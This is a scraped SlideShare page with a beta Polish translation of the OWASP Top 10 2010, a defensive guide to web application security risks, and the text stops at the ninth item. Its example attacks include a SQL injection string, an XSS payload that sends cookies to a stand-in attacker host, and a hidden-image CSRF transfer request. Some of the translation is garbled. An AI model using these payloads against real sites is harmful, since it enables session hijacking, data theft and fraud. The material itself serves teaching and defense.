Owasp top 10   2010 final PL Beta
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Owasp top 10 2010 final PL Beta

on

  • 2,251 views

Polish translation for OWASP TOP10 2010. Beta version, needs some checking. Michal Wiczynski.

Polish translation for OWASP TOP10 2010. Beta version, needs some checking. Michal Wiczynski.

Statistics

Views

Total Views
2,251
Views on SlideShare
2,226
Embed Views
25

Actions

Likes
1
Downloads
81
Comments
0

4 Embeds 25

http://www.techgig.com 12
http://www.linkedin.com 10
http://www.docshut.com 2
http://www.slideshare.net 1

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment
  • Can we squeeze a mention of ‘parameter tampering’?It would also be nice to mention query constraints as a defense but maybe that’s too esoteric.

Owasp top 10 2010 final PL Beta Document Transcript

  • 1.
  • 2. OWASP w skrócie
    O
  • 3. I
    Wstęp
  • 4. Informacje
    i
  • 5. Luka
    Luka
    Luka
    Luka
    Jakie są zagrożenia bezpieczeństwa aplikacji?
    Napastnicy potencjalnie mogą używać wiele sposobów aby przez aplikację dostać się do wnętrza organizacji w celu wyrządzenia szkód. Każdy z tych sposobów przedstawia zagrożenie które może, lub nie, być na tyle poważne żeby na nie zwrócić uwagę.
    Czasami znalezienie odpowiedniego exploita okazuje się trywialną sprawą, a czasem bardzo trudną. Podobnie, wyrządzone szkody, mogą okazać się od zerowych aż do takich które powodują upadek Twojej organizacji. Aby określić ryzyko dla Twojej organizacji, możesz ocenić prawdopodobieństwo związane z każdym zagrożeniem, wektorem ataku, słabościami bezpieczeństwa I połączyć je z szacunkowym skutkiem dla Twojej organizacji. Wszystkie te czynniki, razem określają całkowite zagrożenie.
    Czynniki
    Zagrożenia
    Wektory
    Ataku
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Kontrola
    Bezpieczeństwa
    Luki bezpieczeństwa
    Wpływ
    Kontrola
    Atak
    Aktywa
    Kontrola
    Atak
    Wpływ
    Funkcje
    Atak
    Wpływ
    Aktywa
    Kontrola
    Jakie jest moje zagrożenie?
    Aktualne wydanie OWASP Top 10 skupia się na identyfikowaniu najważniejszych zagrożeń dla szerokiego wachlarza organizacji. Dla każdego z poniższych zagrożeń, przedstawimy ogólne informacje na temat prawdopodobieństwa, oraz całkowitego skutku używając tego oto prostego schematu ceny, który jest oparty na metodologii szacowania ryzyka OWASP.
    Jednakże tylko Ty znasz specyfikację swojego środowiska oraz biznesu. Dla wybranej aplikacji, może nie być odpowiedniego zagrożenia podatnego na odpowiedni atak, lub też skutki techniczne mogą nie mieć żadnego wpływu na działanie aplikacji. Dlatego też, powinieneś sam ocenić ryzyko, skupiając się na zagrożeniach, kontrolach bezpieczeństwa, oraz skutkami biznesowymi dla Twojej organizacji.
    Chociaż poprzednie wersje OWASP Top 10 skupiały się na identyfikowaniu najbardziej znanych luk, to zostały zbudowane również w oparciu o zagrożenie. Nazwy zagrożeń w Top 10, wywodzą się z typu ataku, typu słabości, oraz skutku jaki mogą spowodować. Wybrane nazwy są najbardziej znane oraz osiągają najwyższy stopień świadomości.
    Odwołania
    OWASP
    • OWASP Risk Rating Methodology
    • 6. Artykuł dot. Modelowania Ryzyk/ Zagrożeń
    Zewnętrzne
    • FAIR Information Risk Framework
    • 7. Microsoft Threat Modeling (STRIDE i DREAD)
    Ryzyka Bezpieczeństwa Aplikacji
    RA
  • 8. OWASP Top 10 Ryzyk Bezpieczeństwa Aplikacji – 2010
    T10
  • 9. Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Czynniki
    Zagrożenia
    Czy jestem podatny na wstrzyknięcia?
    Najlepszym sposobem identyfikacje tej luki , jest sprawdzenie czy interpretery poprawnie oddzielają dane autoryzowane od nieautoryzowanych. Dla zapytań SQL, oznacza to wiązanie zmiennych z już wcześniej przygotowanymi zapytaniami oraz procedurami, unikając w ten sposób dynamicznych zapytań.
    Przegląd kodu jest szybkim I efektywnym sposobem na sprawdzenie poprawności działania interpretera. Narzędzia do analizy kodu, z pewnością pomogą analitykowi bezpieczeństwa, prześledzić przepływ danych przez aplikację. Manualne testy penetracyjne, potwierdzą wystąpienie błędu poprzez napisanie własnoręcznie exploita.
    Zautomatyzowane skanowania mogą naprowadzić na miejsce potencjalnego wystąpienia błędu. Jednak nie zawsze skanery są w stanie przeprowadzić kompletny atak.
    Jak się bronić przed wstrzyknięciami?
    Zapobieganie wstryzknięciom wymaga odseparowania niezaugfanych danych od zapytań I poleceń.
    Preferowaną opcją jest używanie bezpiecznego API, które całkowicie unika wykorzystywania interpretera lub umożliwia dostęp do spametryzowanego interfejsu. Należy uwazac nawet na sparametryzowane API, poniewaz mogabyc w nich zaszyte dodatkowe polecenia.
    Jeżeli nie ma dostępnego sparametryzowanego API, należy ostrożnie ecsapować znaki kierowane do interpretera. OWASP's ESAPI posiada już  gotowe rozwiązania.
    Stosowanie “whitelisty”również pomoże w podniesieniu bezpieczeństwa aplikacji. , jednak nie jestto definitywne rozwiązanie, ponieważ niektóre aplikacje wymagają znaków specjalnych. OWASP's ESAPI posiada rozszerzalną bibliotekę zasad walidacji dla white listy.
    Przykładowy atak
    Aplikacja używa danych z niezaufanego źródła w celu skonstruowania podatnego na bledyzapytania SQL:
    String query = "SELECT * FROM konta WHERE klientID='" + request.getParameter("id") +"'";
    Atakujący modyfikuje wartość parametru id, w taki sposób , że wysyła ‘, lub ‘ or‘1’=’1. Zmienia to postać zapytania, w taki sposób, że zapytanie zwraca wszystkie rekordy, zamiast tylko jednego:
    http://przyklad.com/app/kontoView?id=' or '1'='1
    W najgorszym przypadku, atakujący użyje tej podatności w celu wywołania predefiniowanych procedur w bazie danych, umożliwiających na całkowite przejęcie kontroli nad bazą danych.
    Odwołania
    OWASP
    • OWASP SQL Injection Prevention Cheat Sheet
    • 10. OWASP Injection Flaws Article
    • 11. ESAPI Encoder API
    • 12. ESAPI Input Validation API
    • 13. ASVS: Output Encoding/Escaping Requirements (V6)
    • 14. OWASP Testing Guide: Chapter on SQL Injection Testing
    • 15. OWASP Code Review Guide: Chapter on SQL Injection
    • 16. OWASP Code Review Guide: Command Injection
    Zewnętrzne
    • CWE Entry 77 on Command Injection
    • 17. CWE Entry 89 on SQL Injection
    A1
    Wstrzyknięcia
  • 18. Cross-Site Scripting (XSS)
    A2
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny na XSS??
    Należy upewnić się czy przed wysłaniem do przeglądarki danych otrzymanych od użytkownika, wszystkie znaki zostały odpowiednio zweryfikowane. Odpowiednia weryfikacja na wyjściu zapewnia, że tekst odczytywany w przeglądarce jest traktowany jako test a nie aktywna część strony. Narzędzia zarówno do statycznej jak I dynamicznej analizy kodu, są w stanie znaleźć niektóre błędy XSS automatycznie. Niestety, większość web aplikacji buduje strony w trochę inny sposób, lub też używa innego rodzaju interpreterów ( JavaScript, ActiveX, Flash, Silverlight) które znacznie utrudniają automatyczną detekcję błędów. Dlatego też, wymagane jest połączenie manualnej analizy kodu, oraz testu penetracyjnego w połączeniu z narzędziami automatyzującymi ten proces.
    Technologie Web 2.0, typu AJAX znacznie utrudniają wykrycie XSS.
    Jak się bronić przed XSS?
    Zabezpieczanie się przed XSS wymaga trzymania niezaufanych danych z dala od aktywnej zawartości strony..
    Preferowanym wyborem jest escapowanie wszystkich niezaufanych danych, w zależności od miejsca użycia. Mowa utaj o umieszczaniu danych w kontekście body, atrybutów, JavaScript, XSS, URL. Jeżeli dany frameworków nie posiada automatycznego escapowania znaków, to programiści powinni to zadbać. Więcej informacji: OWASP XSS Prevention Cheat Sheet
    Zalecane jest również stosowanie White listy, która znacznie pomaga zabezpieczyć się przed atakami typu XSS, ale nie zapewnia 100% bezpieczeństwa, ponieważ niektóre aplikacje wymagają używania znaków specjalnych. Tego typu walidacja powinna rozkodować otrzymane dane, zwalidować ich długość, znaki, oraz odpowiednio sformatować zanim nastąpi ich akceptacja.
    Prosimy o rozważenie zastosowania Content Security Policyod Mozilla, użytego w Firefox 4 w celu obrony przed XSS
    Przykładowy atak
    Aplikacja używa niezaufanych danych w celu wyświetlenia następującego kodu HTML bez jakiejkolwiek wcześniejszej walidacji lub escapowania znaków:
    (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
    Atakujący zmienia w przeglądarce parametr ‘CC’ na:
    '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
    Powoduje to wysłanie ID sesji ofiary do strony atakującego. Dzięki temu, atakujący jest w stanie przejąć sesję ofiary
    UWAGA, XSS może być użyte w celu ominięcia zabezpieczeń przed CSRF. Więcej informacji w dziale A5.
    Odwołania
    • OWASP XSS Prevention Cheat Sheet
    • 19. OWASP Cross-Site Scripting Article
    • 20. ESAPI Project Home Page
    • 21. ESAPI Encoder API
    • 22. ASVS: Output Encoding/Escaping Requirements (V6)
    • 23. ASVS: Input Validation Requirements (V5)
    • 24. Testing Guide: 1st 3 Chapters on Data Validation Testing
    • 25. OWASP Code Review Guide: Chapter on XSS Review
    Zewnętrzne
    • CWE Entry 79 on Cross-Site Scripting
    • 26. RSnake’s XSS Attack Cheat Sheet
  • Wadliwa autentykacja i zarządzanie sesjami
    A3
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny?
    Najważniejsze dane do zabezpieczenia: dane dostępowe oraz ID sesji.
    Czy dane dostępowe są zaszyfrowane w odpowiedni sposób ? Patrz A7.
    Czy dane dostępowe są możliwe do odgadnięcia lub nadpisane w wyniku słabego jakościowo systemu zarzadzania kontami ( np.. Stworzenie konta, zmiana hasła, odzyskiwanie hasła, słaba entropia sesji)?
    Czy ID sesji są widoczne w URL? (np.. URL rewriting)?
    Czy ID sesji są podatne na ataki typu session fixation?
    Czy ID sesji tracą ważność a użytkownicy są automatycznie wylogowani?
    Czy ID sesji zmienia się po zalogowaniu?
    Czy hasła, ID sesji oraz inne dane dostępowe wysyłane są wyłącznie polaczeniami TLS? Patrz A9.
    W celu uzyskania dodatkowych informacji, przeczytaj wymagania ASVS dla działów V2 oraz V3 .
    Jak temu zapobiec?
    Glownym celem organizacji jest umozliwienie programistom:
    Stworzenia odpowiendio mocnych systemow uwierzytelniania I kontroli zarzazdania sesja. Kontrole te powinny:
    Spelniac wszystkie wymagania odnosnie autentykacji oraz zarzadzania sesjami okreslone w Application Security Verification Standard (ASVS) OWASP dzialu V2 (Autentykacja) oraz V3 (Zarzadzanie sesjami).
    Posiadac prosty interfejs dla programistow. Rozwaz ESAPI Authenticator and User APIs jako dobre przyklady emulacji, uzycia oraz budowania systemu.
    Wlozenia wysilku w unikniecie bledow typu XSS ktore umozliwiaja wykradzenie danych sesji. Patrz A2.
    Odwołania
    OWASP
    W celu uzyskania dokładniejszych informacji odnośnie tych problemów oraz sposobów ich unikania prosimy zajrzeć do ASVS requirements areas for Authentication (V2) and Session Management (V3).
    • OWASP Authentication Cheat Sheet
    • 27. ESAPI Authenticator API
    • 28. ESAPI User API
    • 29. OWASP Development Guide: Chapter on Authentication
    • 30. OWASP Testing Guide: Chapter on Authentication
    Zewnętrzne
    • CWE Entry 287 on Improper Authentication
    Przykładowe ataki
    Atak #1: Linie lotnicze podczas rezerwacji miejsc umieszczają ID sesji oraz przekierowań URL w adresie URL:
    http://example.com/sale/saleitems;jsessionid= 2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
    Użytkownik po autentykacji może poinformować znajomych o wyprzedaży. Wysyła w/w link razem ze swoim ID sesji. Kiedy znajomi klikną w link, będą mieli możliwość dostępu do danych konta (karty kredytowej) osoby która wysłała link.
    Atak #2: Ważność sesji w aplikacji nie jest ustawiona poprawnie. Ofiara używając komputera w kawiarence internetowej, zamiast kliknąć ‘wyloguj’ porostu wyłącza okno przeglądarki. Atakujący po otwarciu strony po godzinie czasu może mieć możliwość dostępu do konta ofiary.
    Atak#3: Atakujący z zewn. lub wewn. Organizacji jest w stanie dostać się do bazy danych z hasłami. Brak jakiejkolwiek enkrypcji haseł umożliwia przejecie kontroli nad wszystkimi kontami.
  • 31. Niebezpieczne Bezpośrednie Odwołania
    A4
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny?
    Najlepszym sposobem identyfikacje tej luki jest sprawdzenie czy wszystkie odwołania do obiektów są odpowiednio zabezpieczone. Sprawdź::
    Dla odwołań bezpośrednich do zastrzeżonych zasobów, czy aplikacja powinna sprawdzić prawo dostępu do danego obiektu przez aktualnie zautoryzowanego użytkownika..
    Jeżeli referencja jest odwołaniem pośrednim, to czy mapowanie bezpośredniej referencji powinno mieć weryfikacje dla wartości danego obiektu dla autoryzowanego użytkownika.
    Analiza kodu aplikacji, umożliwi szybka weryfikacje czy dane rozwiązanie jest bezpiecznie zaimplementowane. Testowanie jest również przydatne w celu identyfikacji niebezpiecznych bezpośrednich odwołań do obiektów. Narzędzia automatyzujące skanowania przeważnie nie są w stanie wykryć błędów tego typu.
    Jak zapobiegać?
    Zabezpieczanie bezpośrednich odwołań wymaga zdefiniowania reguł dostępności danego obiektu dla użytkowników (np. numer obiektu, nazwa pliku):
    Używaj odwołań do obiektów per sesji lub użytkownik. Takie rozwiązanie uniemożliwia atakującym odwoływanie się do nieautoryzowanych obiektów. Np zamiast używania klucza z bazy danych, zdefiniuj możliwe numery obiektów dla danego użytkownika które będą dostępne. OWASP’s ESAPI zawiera obydwa, sekwencyjne I losowe mapowania które mogą być wykorzystane przez programistów w celu wyeliminowania bezpośrednich odwołań do obiektów.
    Sprawdź dostęp.. Każde bezpośrednie odwołanie do obiektu z nieautoryzowanego źródła powinno zawierać kontrole dostępu w celu sprawdzenia czy dany użytkownik ma prawo odwołania się do danego obiektu/
    Przykładowy atak
    Aplikacja używa niezweryfikowanych danych w zapytaniu SQL które pobiera dane odnośnie konta:
    String query = "SELECT * FROM accts WHERE account = ?";
    PreparedStatement pstmt = connection.prepareStatement(query , … );
    pstmt.setString( 1, request.getParameter("acct"));
    ResultSet results = pstmt.executeQuery( );
    Atakujący modyfikuje parametr ‘acct’ wysyłając dowolny numer konta. Dzięki temu uzyskuje dostęp do danych innych kont.
    http://example.com/app/accountInfo?acct=notmyacct
    Odwołania
    OWASP
    • OWASP Top 10-2007 on Insecure Dir Object References
    • 32. ESAPI Access Reference Map API
    • 33. ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )
    W celu dodatkowych informacji odnośnie wymagań kontroli dostępu prosimy zobaczyć ASVS requirements area for Access Control (V4).
    Zewnętrzne
    • CWE Entry 639 on Insecure Direct Object References
    • 34. CWE Entry 22 on Path Traversal(Przykład ataku z wykorzystaniem niebezpiecznego bezpośredniego odwołania)
  • Cross-Site Request Forgery(CSRF)
    A5
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Jak sie bronic przed CSRF?
    Ochrona przed CSRF polega na załączaniu unikalnego nieprzewidywalnego tokena przy każdym z zapytań ( w treści strony lub URL). Tokeny powinny być unikalne dla każdej nowej sesji użytkownika, a najlepiej jeżeli są unikalne dla każdego zapytania.
    Preferowanym rozwiązaniem jest wysyłane tokena jako ukryte pole ( input typu hidden) dzięki czemu token wysyłany jest w treści strony a nie przekazywany w URL. Podnosi to poziom bezpieczeństwa przez nie ujawnianie tokenu w adresie URL.
    Token można umieścić w serwis URL. Jednak jak już wspomniano może to prowadzić do jego ujawnienia dla osoby atakującej.
    OWASP CSRF Guardmoże być użyty w celu automatycznego dopisywania tokenów dla aplikacji napisanych w Java EE, .NET lub php. ESAPI OWASP zawiera generatory oraz walidatory tokenów dzięki którym developerzy mogą zabezpieczyć transakcje w swoich aplikacjach.
    Czy jestem podatny na CSRF?
    Najprostszym sposobem identyfikacje tej luki jest zweryfikowanie czy każdy z linków zawiera nieprzewidywalny, unikalny token dla każdego użytkownika. Bez tego typu tokenów atakujący są w stanie stworzyć szkodliwe zapytania. Skup się na linkach umożliwiających zmianę stanów aplikacji gdyż te najczęściej padają ofiara ataku. Sprawdź wielo poziomowe zapytania, bo i te można podrobić używając odpowiednich tagów lub JavaScript. Na token nie nadają się ( przeważnie) cookies, adres ip, oraz pozostałe informacje które są automatycznie wysyłane przez przeglądarkę.
    Narzędzie CSRF Tester wydane przez OWASP wspomaga proces generowania przypadków użycia aby zademonstrować zagrożenia związane z bledami CSRF.
    Example Attack Scenario
    Aplikacja umożliwia użytkownikowi wysłanie niezabezpieczonego zapytania zmieniające stan aplikacji np..:
    http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243
    Atakujący tworzy zapytanie które będzie zawierać informacje o przelaniu pieniędzy z konta ofiary na konto atakującego tak skonstruowane zapytanie zostanie ukryte jako odnośnik do obrazka lub jako iframe zapisany na wielu stronach do których ma dostęp atakujący.
    <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />
    Jeżeli zalogowana ofiara odpowiedzi którakolwiek ze stron zawierających szkodliwy kod, to te zapytania będą zawierać dane autentykacyjne ofiary dzięki czemu zapytanie wykona się bez przeszkód i będzie postrzegane jako autoryzowana akcja którą wykonał użytkownik.
    Odwołania
    OWASP
    • OWASP CSRF Article
    • 35. OWASP CSRF Prevention Cheat Sheet
    • 36. OWASP CSRFGuard - CSRF Defense Tool
    • 37. ESAPI Project Home Page
    • 38. ESAPI HTTPUtilities Class with AntiCSRF Tokens
    • 39. OWASP Testing Guide: Chapter on CSRF Testing
    • 40. OWASP CSRFTester - CSRF Testing Tool
    Zewnętrzne
    • CWE Entry 352 on CSRF
  • Błędy konfiguracji zabezpieczeń
    A6
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny?
    Czy przeprowadziłeś kompleksowe zabezpieczanie systemu informatycznego?
    Czy posiadasz procedury, oprogramowanie wspomagające aktualizację systemów operacyjnych, web/ serwerów aplikacyjnych, DBMS, aplikacji oraz ich kodów źródłowych zgodnie z ich najnowsza wersja?
    Czy usunąłeś, Odinstalowałeś, usunąłeś wszelkie zbędne rzeczy? Tj. Porty, usługi, strony, konta, dostępy ?
    Czy domyślne hasła są zmienione/ usunięte ?
    Czy ustawienia obsługi błędów uniemożliwiają wgląd w logi stosu (stack trace), oraz innych informacji które mogą pojawiać się wraz z opisem błędów?
    Czy ustawienia bezpieczeństwa we framewokach ( Struts, Spring, ASP .NET) oraz w bibliotekach są zrozumiałe i odpowiednio skonfigurowane?
    Konkretny oraz powtarzalny proces jest wymagany w celu rozwijania i utrzymywania poprawnego bezpieczeństwa aplikacji.
    Jak temu zapobiec?
    Zaleca się:
    Powtarzalność procesu zabezpieczania umożliwiającego szybkie stworzenie nowego odpowiednio zabezpieczonego środowiska. Testowe, QA, oraz środowiska produkcyjne powinny być skonfigurowane w identyczny sposób. Proces ten powinien zostać zautomatyzowany w celu zmniejszenia nakładu pracy poniesionego podczas konfiguracji nowego bezpiecznego środowiska.
    Wszystkie kody, biblioteki które są zazwyczaj pomijane podczas aktualizacji powinny zostać poddane procesowi nieustannego sprawdzania dostępnych aktualizacji.
    Odpowiednia architekturę aplikacji umożliwiająca stosowne bezpieczeństwo oraz separację komponentów.
    Wykonywanie regularnych skanów oraz audytów w celu detekcji brakujących latek lub nieodpowiedniej konfiguracji.
    Przykładowe ataki
    Atak#1: Twoja aplikacja zbudowana jest w oparciu o potężny framework jakim jest Struts, lub Spring. Okazuje się ze znaleziono błędy typu XSS w jednym z tych frameworków. Udostępniono odpowiednie latynoskich bezpieczeństwa uniemożliwiające wykorzystanie tych błędów. Jednak Z powodu nie wykonywania aktualizacji bibliotek, Kreta narażony na ataki hakerów. Dopóki nie uaktualnisz swojej aplikacji, jesteś narażony na tego typu ataki.
    Atak#2: konsola administracyjna serwera aplikacyjnego nie jest wyłączona Domyślne konta nie są usunięte haker znajduje konsole oraz loguje się na standardowe hasło użytkownika. Dzięki temu przejmuje kontrole nad Twoja maszyna.
    Atak#3: listowanie katalogów nie zostało wyłączone. Atakujący widzi ze jest w stanie listować zawartość katalogów, w celu znalezienia intersujących plików. W ten sposób ściąga kody źródłowe aplikacji w celu ich późniejszego wykorzystania. Jeżeli znajdzie błędy w kodzie, przejmie kontrole nad Twoja maszyna.
    Atak#4: ustawienia serwera aplikacyjnego umożliwiają śledzenie błędów. Atakujący uwielbiają dodatkowe informacje na temat atakowanego systemu :)
    Odwołania
    OWASP
    • OWASP Development Guide: Chapter on Configuration
    • 41. OWASP Code Review Guide: Chapter on Error Handling
    • 42. OWASP Testing Guide: Configuration Management
    • 43. OWASP Testing Guide: Testing for Error Codes
    • 44. OWASP Top 10 2004 - Insecure Configuration Management
    Wiecej informacji: ASVS requirements area for Security Configuration (V12).
    Zewnętrzne
    • PC Magazine Article on Web Server Hardening
    • 45. CWE Entry 2 on Environmental Security Flaws
    • 46. CIS Security Configuration Guides/Benchmarks
  • Błędna implementacja kryptografii
    A7
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny?
    W pierwszej kolejności należy ustalić które dane powinny być szyfrowane. Mogą być to hasła, dane kart kredytowych, rekordy NFZ, dane osobowe. Upewnij się, ze:
    Wszystko jest zaszyfrowane oraz składowane przez długi czas, w szczególności kopie zapasowe.
    Tylko autoryzowani użytkownicy maja dostęp do zdekryptowanych danych (np.. Kontrola dostępu – patrz A4 I A8).
    Używany jest silny algorytm szyfrowania.
    Wygenerowano silny klucz zabezpieczony przed nieautoryzowanym dostępem.
    Oraz więcej… W celu dodatkowych informacji polecamy ASVS requirements on Cryptography (V7)
    Jak temu zapobiec?
    Pełna lista niebezpieczeństw związanych z kryptografia wykracza poza materiał listy Top 10. Chcielibyśmy przedstawić absolutne minimum zwiększające poziom bezpieczeństwa:
    Biorąc pod uwagę zagrożenia dla twoich danych (atak wewnętrzny/ zewnętrzny) upewnij się ze odpowiednio zabezpieczysz dane właśnie przed tymi rodzajami ataków.
    Upewnij się ze kopie są odpowiednio szyfrowane, a klucze trzymane osobno.
    Upewnij się ze korzystasz z odpowiednio silnych algorytmów szyfrowania, wraz z odpowiednim zarzadzaniem kuczami.
    Upewnij się ze hasła są odpowiednio hashowane za pomocą odpowiedniego algorytmu, oraz użyty jest odpowiedni salt.
    Upewnij się ze klucze I hasła są zabezpieczone przed nieautoryzowanym dostępem.
    Przykładowe ataki
    Atak #1: Aplikacja zapisuje dane w postaci zaszyfrowanej uniemożliwiając ich odczyt przez osoby trzecie. Niestety baza automatycznie dekryptuje dane, na postawie kolumn z numerek karty kredytowej, dając możliwość pobrania danych za pomocą błędy wstrzyknięcia SQL. System powinien być tak skonfigurowany aby dekrypcja była możliwa jedynie po stronie backendu.
    Atak #2: Backup z danymi NFZ jest na tej samej taśmie co klucz. Backup nigdy nie dociera do centrum z kopiami…
    Atak #3: Baza danych z hasłami wszystkich użytkowników używa haseł bez salt 'a. Luka w uploadowaniu plików umożliwia wydobycie wszystkich haseł. Wszystkie hasła są złamane w przeciągu 4ch tygodni podczas gdy atak na hasła z saltem zająłby 3000 lat.
    Odwołania
    OWASP
    W celu uzyskania dodatkowych informacji polecamy ASVS requirements on Cryptography (V7).
    • OWASP Top 10-2007 on Insecure Cryptographic Storage
    • 47. ESAPI Encryptor API
    • 48. OWASP Development Guide: Chapter on Cryptography
    • 49. OWASP Code Review Guide: Chapter on Cryptography
    Zewnętrzne
    • CWE Entry 310 on Cryptographic Issues
    • 50. CWE Entry 312 on Cleartext Storage of Sensitive Information
    • 51. CWE Entry 326 on Weak Encryption
  • Błędy ograniczeń dostępu do URL
    A8
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny?
    Najlepszym sposobem identyfikacje tej luki, jest odwolywanie się do wszystkich stron I sprawdzanie do których z nich mamy dostęp. Sprawdź czy:
    Jest wymagana autentykacja przy próbie dostępu do tej strony?
    Powinna być dostępna dla KAŻDEJ autentykowanej osoby? Jeżeli nie to czy jest sprawdzanie autentykacji aby upewnić się czy użytkownik ma dostęp do tej strony?
    Zewnętrzne mechanizmy bezpieczeństwa umożliwiają kontrole dostępu do strony na postawie autoryzacji/ autentykacji. Upewnij się ze zostały one odpowiednio skonfigurowane dla każdej ze stron. Jeżeli kontrola dostępu znajduje się w kodzie aplikacji, upewnij się ze jest wywoływana dla każdej otwieranej strony. Testy penetracyjny jest w stanie wykryć strony bez kontroli dostępu.
    Jak temu zapobiec?
    Odpowiednie zabezpieczenie nieautoryzowanego dostępu do URL wymaga zabezpieczenia każdej ze stron. Najczęściej jest to zapewnione przez jeden lub więcej zewnętrznych komponentów aplikacji. Mimo tych zabezpieczeń zaleca się:
    Ustawienie polityk autentykacji/ autoryzacji na podstawie roli, aby zmniejszyć czasochłonność zarzadzania tymi politykami.
    Polityki powinny być konfigurowalne, aby zminimalizować wszystkie hard-codowane elementy.
    Dodatkowe mechanizmy powinny domyślnie zabronić jakiegokolwiek dostępu, umożliwiając określony na podstawie ról dostęp, jedynie wybranym użytkownikom.
    Jeżeli strona jest na workflow, upewnij się czy ustawiono odpowiednie wartości argumentów kontroli dostępu.
    Przykładowy atak
    Atakujący przegląda docelowe strony systemu. Weźmy na przykład następujący adres URL który powinien wymagać autentykacji na poziomie Adamina:
    http://example.com/app/getappInfo
    http://example.com/app/admin_getappInfo
    Jeżeli atakujący nie jest zautentykowany, a ma dostęp do tej strony, to ma do niej nieautoryzowany dostęp. Jeżeli zautentykowany użytkownik ma dostęp do strony “admin_getappInfo”to jest to luka bezpieczeństwa która może umożliwić dostęp do kolejnych stron.
    Tego typu błędy często pojawiają się kiedy linki oraz przyciski ukryte są w kodzie strony przed niezautoryzowanymi użytkownikami, I jest to jedyny mechanizm obronny aplikacji.
    Odwołania
    OWASP
    • OWASP Top 10-2007 on Failure to Restrict URL Access
    • 52. ESAPI Access Control API
    • 53. OWASP Development Guide: Chapter on Authorization
    • 54. OWASP Testing Guide: Testing for Path Traversal
    • 55. OWASP Article on Forced Browsing
    Dodatkowe informacje : ASVS requirements area for Access Control (V4).
    Zewnętrzne
    • CWE Entry 285 on Improper Access Control (Authorization)
  • Niewystarczająca ochrona warstwy transportu
    A9
    Słabosci Bezpieczeństwa
    Wpływ
    Techniczny
    Wpływ
    Biznesowy
    Wektory
    Ataku
    Słabosci Bezpieczeństwa
    Czynniki
    Zagrożenia
    Czy jestem podatny?
    Najlepszym sposobem na sprawdzenie czy warstwa transportowa strony jest odpowiednio zabezpieczona jest:
    Czy SSL jest używany w trakcie autentykacji
    Czy SSL jest używany dla wszystkich zasobów na stronach z usługami lub prywatnymi danymi . To zabezpieczy wszystkie dane oraz tokeny sesyjne które zostały zmienione. Strony typu Mixed SSL powinny zostać wyeliminowane, ponieważ powodują one informacje z ostrzeżeniem po stronie użytkownika I mogą prowadzić do ujawnienia danych.
    Używane silne algorytmy szyfrowania
    Ustawiona flaga ‘secure’ dla wszystkich ciasteczek z wrażliwymi danymi. Uniemożliwi to podgląd wartości ciasteczek.
    Odpowiednio skonfigurowany certyfikat dla serwera. Oznacza to ze musi on być wydany przez autoryzowane centrum, mieć ważna datę, być nieodrzuconym I być zgodnym z używanymi domenami.
    Jak temu zapobiec?
    Odpowiednie zabezpieczenie warstwy transportu może mieć wpływ na budowę strony. Najprostszym sposobem jest nałożenie certyfikatu na cala stronę. Ze względów wydajnościowych niektóre strony używają certyfikatów tylko na stronach z autoryzacja, inne tylko na ‘krytycznych’ stronach co nie zmienia faktu ze pozostałe dane mogą zostać ujawnione. Zaleca się zastosowanie chociaż do minimum: :
    Wymagaj SSL na wrażliwych stronach. Zapytania nie-SSL powinny być przekierowane na kanał SSL.
    Ciasteczka z wrażliwymi danymi powinny mieć ustawiona flagę ‘secure’.
    Bierz pod uwagę tylko tych providerow SSL którzy stosują silne algorytmy (np. zgodny z FIPS 140-2 ) .
    Upewnij się ze certyfikat jest ważny, nie wygasł, nie został odrzucony I zgadza się z nazwami domen.
    Backend również powinien korzystać z SSL lub innych rodzaj szyfrowania.
    Odwołania
    OWASP
    Dodatkowe informacje: ASVS requirements on Communications Security (V10).
    • OWASP Transport Layer Protection Cheat Sheet
    • 56. OWASP Top 10-2007 on Insecure Communications
    • 57. OWASP Development Guide: Chapter on Cryptography
    • 58. OWASP Testing Guide: Chapter on SSL/TLS Testing
    Zewnętrzne
    • CWE Entry 319 on Cleartext Transmission of Sensitive Information
    • 59. SSL Labs Server Test
    • 60. Definition of FIPS 140-2 Cryptographic Standard
    Przykładowe ataki
